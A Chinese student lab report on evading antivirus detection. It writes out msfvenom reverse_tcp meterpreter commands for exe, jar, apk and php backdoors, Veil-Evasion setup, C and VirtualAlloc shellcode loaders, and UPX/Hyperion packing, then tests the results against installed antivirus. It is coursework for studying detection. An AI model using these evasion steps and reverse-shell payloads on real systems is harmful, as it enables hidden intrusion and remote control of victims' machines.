实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
- 2.通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验过程
实验准备即相关知识
VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
- 链接如下:
Msfvenom使用编码器
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
- 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
Veil-Evasion
- Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。
C语言调用Shellcode
- 就是一个半手工打造恶意软件的例子。
加壳
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
- 从技术上分壳分为:
- 压缩壳
- 加密壳
- 虚拟机
详情参见
任务一、正确使用免杀工具或技巧
一、正确使用msf编码器
- 将实验二中用msf命令生成的后门程序
20175208_backdoor.exe
放到VirusTotal中扫描(我进入另一个网站弄不出来所以就只在这个网站扫描了)结果如下:
- 然后输入对应命令,进行多次编码尝试降低检出率
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.233.131 LPORT=5208 -f exe > 20175208_backdoor2.exe
- 再进入上述网站扫描
结果不是很如人意,没什么变化。。。
二、msfvenom生成如jar之类的其他文件
- 1.生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.233.131 lport=528 x> 20175208_JAVAbackdoor.jar
- 扫描结果:检出率确实降低了不少
- 2.生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 R > 20175208_APKbackdoor.apk
- 扫描结果感觉和上面jar差不多
- 3.生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.233.131 lport=5208 x> 20175208_PHPbackdoor.php
- 扫描结果比之前的那几个都要好很多
三、利用veil-evasion
- 因为kail里没有veil,所以要先进行安装(这个过程及其的慢,可以去眯一觉)
- 在安装前执行下列命令,做好准备
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 使用命令
sudo apt-get install veil-evasion
安装veil
- 下载好后用
veil
打开veil进行安装
- 这时出现了一些问题,它提示了一些问题后在那一直循环初始化
- 后来参考一些帖子执行命令
/usr/share/veil/config/setup.sh --force --silent
可自动修护错误 - 安装参考博客
- 错误参考帖子
- 完成后有
Done!
提示说明成功:
- 然后再用
veil
命令打开界面
- 命令
use evasion
命令进入Veil-Evasion
- 命令
use c/meterpreter/rev_tcp.py
进入配置界面
- 设置反弹窗口及端口
set LHOST
、set LPORT
- 命令
generate
生成文件,输入你的playload名字zjhveil_5208 - 及下方可以查看exe文件保存地址
/var/lib/veil/output/compiled/zjhveil_5208
- 扫描情况如图
- 在进入Veil-Evasion后可以用
list
查看别的payload
四、使用C + shellcode编程
- 首先我们需要先生成一段shellcode(注意看一下自己的ip地址)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.131 LPORT=5208 -f c
- 然后创建一个c文件
wpyshell.c
,将下述代码及新建的shellcode复制进去
unsigned char buf[] = ‘shellcode‘ int main() { int (*func)() = (int(*)())buf; func(); }
- 然后因为我们需要将这个放入windoes下运行,所以需要进行交叉编译(没有的话可以
sudo apt-get install mingw-w64
下载编译软件)
i686-w64-mingw32-g++ zjhshell.c -o zjhshell.exe
- 放入上述网站扫描
五、加壳工具
- 1.给上面的shellcode加一个压缩壳(UPX):
upx zjhshell.exe -o zjhshellupxed.exe
- 同样上传网上扫描,扫描结果相对与没有加壳还是要好那么一点
- 2.加密壳处理:将之前生成的exe文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 加壳命令
wine hyperion.exe -v zjhshellupxed.exe 5208-zjhshellhyperion.exe
六、使用其他课堂未介绍方法
- 我一开始找的是一个叫
shellter
的免杀工具,通过利用动态Shellcode注入来实现免杀的效果,不过失败了。参考链接
- 后来我是找的一段代码。其会申请一段动态内存,然后加载shellcode。感觉和上面shellcode+C差不多。参考链接
- 我们也是需要先生成一段shellcode,然后将其加入下面代码
#include <Windows.h> #include <stdio.h> #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buf[] = "shellcode"; main() { char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }
- 然后编译生成shell.exe (这里我是在外面用CodeBlocks编译的)
- 测试其可用性及放入网站扫描
莫名的感觉效果好了太多。。。。
任务二、通过组合应用各种技术实现恶意代码免杀
- 方式为多次编码的shellcode+申请动态内存代码+压缩壳
- 目标是自己的主机,杀软是金山毒霸,还有联想电脑自带的杀毒软件
- 测试可用性
- 软件扫描,危险性为上次实验二的后门,此次的shellupxed.exe没有问题
后来经过调整,是我自己的问题,没有运行动态代码。。。
之后就发生了这个事情,也不知道怎么回事他就突然便这样了,总感觉哪里出了问题。。。
任务三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 我使用的是另一台虚拟机win7,杀软也是金山毒霸,备用木马库为2020-04-01
- 我第一次在里面运行,没有问题也能正常回连
- 后来再试的时候就弹出威胁了
最可气的是,他居然直接给我删了。。。。
实验结论:免杀失败。。
- 最后我想试试别的软件,就下了火绒在,然后在主机重新扫描,发现都被查出来了。。。联想电脑管家是真的强啊。。
实验总结
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码检测
- 很多软件都会有各种特征码记成的特征库
- 恶意软件的一个或几个片断就可作为识别依据。
- 也有启发式恶意软件的检测
- 有种宁杀错不放过的感觉
- 基于行为的检测
(2)免杀是做什么?
- 免杀就是通过某些手段对软件进行处理,让它不会被杀毒软件检测出来
(3)免杀的基本方法有哪些?
根据杀软检测恶意软件的手段,即大致技术
- 1.改变特征码
- 加壳:压缩壳 加密壳
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 用其他语言进行重写再编译(veil-evasion)
- 2.改变行为
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 3.非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 从实验过程来看当然是不能的,连我们这种第一次瞎搞的都有某些代码,逃脱了自己电脑上的杀软(虽然我觉得可能是我的杀软太垃圾了),但是想想这网络世界的恶意代码可能都是某些人仔细研究了好久的,这样就更难以防范这些恶软了。
实验总结与反思
- 这次实验真的在做的时候很崩溃,主要失败重复次数太多无论是前面的安装还是后面生成shellcode试了好久,找到了一个方法试了之后又都被无情排除,最后不知道为啥我的kali直接网络拒绝服务,又弄了好久。。。
- 不过说回实验还是学到了很多,了解了各种基础免杀方法,也在网上看见了一些进阶虽然我都失败了。但也至少我知道我的杀软有点迟钝。。。